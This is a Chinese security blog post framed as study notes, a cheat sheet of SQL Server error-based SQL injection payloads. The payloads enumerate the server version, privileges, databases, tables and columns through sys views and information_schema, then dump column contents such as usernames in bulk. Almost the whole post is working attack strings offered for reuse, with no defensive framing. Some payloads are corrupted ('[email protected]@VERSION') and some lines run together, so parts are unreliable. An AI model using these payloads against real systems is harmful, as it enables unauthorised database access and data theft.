【学习笔记】Sqlserver/Mssql注入总结(二)

  • A+
所属分类:安全文章

这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。



利用sys视图进行显错注入(类型原本是数字,输入的内容是字符,转换中失败导致报错)



爆数据库信息:

id=1' and [email protected]@VERSION--          //查询sqlserver的版本id=1' and [email protected]@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断



爆数据库名:

id=1' and 1=(select db_name(5))--  //查询数据库名,5可以遍历查询
id=1' and 1=(select top 1 name from master..sysdatabases where dbid>4)-- //查询第一个dbid(数据库id)大于4的数据库名,dbid可以遍历查询其他数据库



或者直接不加dbid:

id=1' and 1=(select top 1 name from master..sysdatabases where name<>'test')--     //查询第一个数据库,并且数据库名不等于test,也可以用!=,或者not in()




一次性爆出(sqlserver2005及以上版本适用):

id=1' and 1=(select quotename(name) from master..sysdatabases for xml path(''))--  //直接爆出所有数据库名,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from master..sysdatabases FOR XML PATH(''))-- //直接爆出所有数据库名,用 | 隔开



爆表名:

id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u')--  //爆第一个表名
id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u' and name<> 'test')-- //爆表名,并且表名不等于test,也可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):

id=1' and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' for xml path(''))--  //爆出指定数据库的所有表,用【】括起来
id=1' and 1=(select '|' %2bname%2b '|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- //直接爆出所有表名,用 | 隔开



爆列名:

id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名'))--     //爆出xx表的第一个列名id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名')and name<> '列名')--        //爆出xx表的列名,并且列名不等于xx,可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):

id=1' and 1=(select quotename (name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- //直接爆出xx数据库,xx表的字段,用 | 隔开





爆数据:

id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据,
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')-- //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):

id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库..表名 FOR XML PATH(''))-- //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|






利用information_schema视图进行报错注入


爆数据库信息:

id=1' and [email protected]@VERSION--          //查询sqlserver的版本id=1' and [email protected]@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断


爆数据库名:

id=1' and 1=(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA)    //只能查到当前数据库名


其他的和sys视图报错语句基本一致




爆表名:

id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)--       //查询第一个表名
id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN('users'))-- //查询表名,并且表名不等于users,可以使用!=或者<>



一次性爆出(sqlserver2005及以上版本适用):

id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--  //爆出指定数据库的所有表
id=1' and 1=(select '|' %2btable_name%2b '|' from information_schema.tables FOR XML PATH(''))-- //直接爆出所有表名,用 | 隔开



爆列名:

id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='users')       //查询users表的第一个列名
id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='表名' and column_name NOT IN('id'))-- //查询列名,并且列名不等于id




一次性爆出(sqlserver2005及以上版本适用):

id=1' and 1=(select quotename (column_name) from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bcolumn_name%2b' |' from information_schema.columns where table_name='表名' FOR XML PATH(''))-- //直接爆出xx数据库,xx表的字段,用 | 隔开



爆数据:

id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')-- //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):

id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库名..表名 FOR XML PATH(''))-- //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|






因为篇幅关系,第一篇先到这,后续还有1篇连载,敬请期待......



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

【学习笔记】Sqlserver/Mssql注入总结(二)






本文始发于微信公众号(哈拉少安全小队):【学习笔记】Sqlserver/Mssql注入总结(二)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: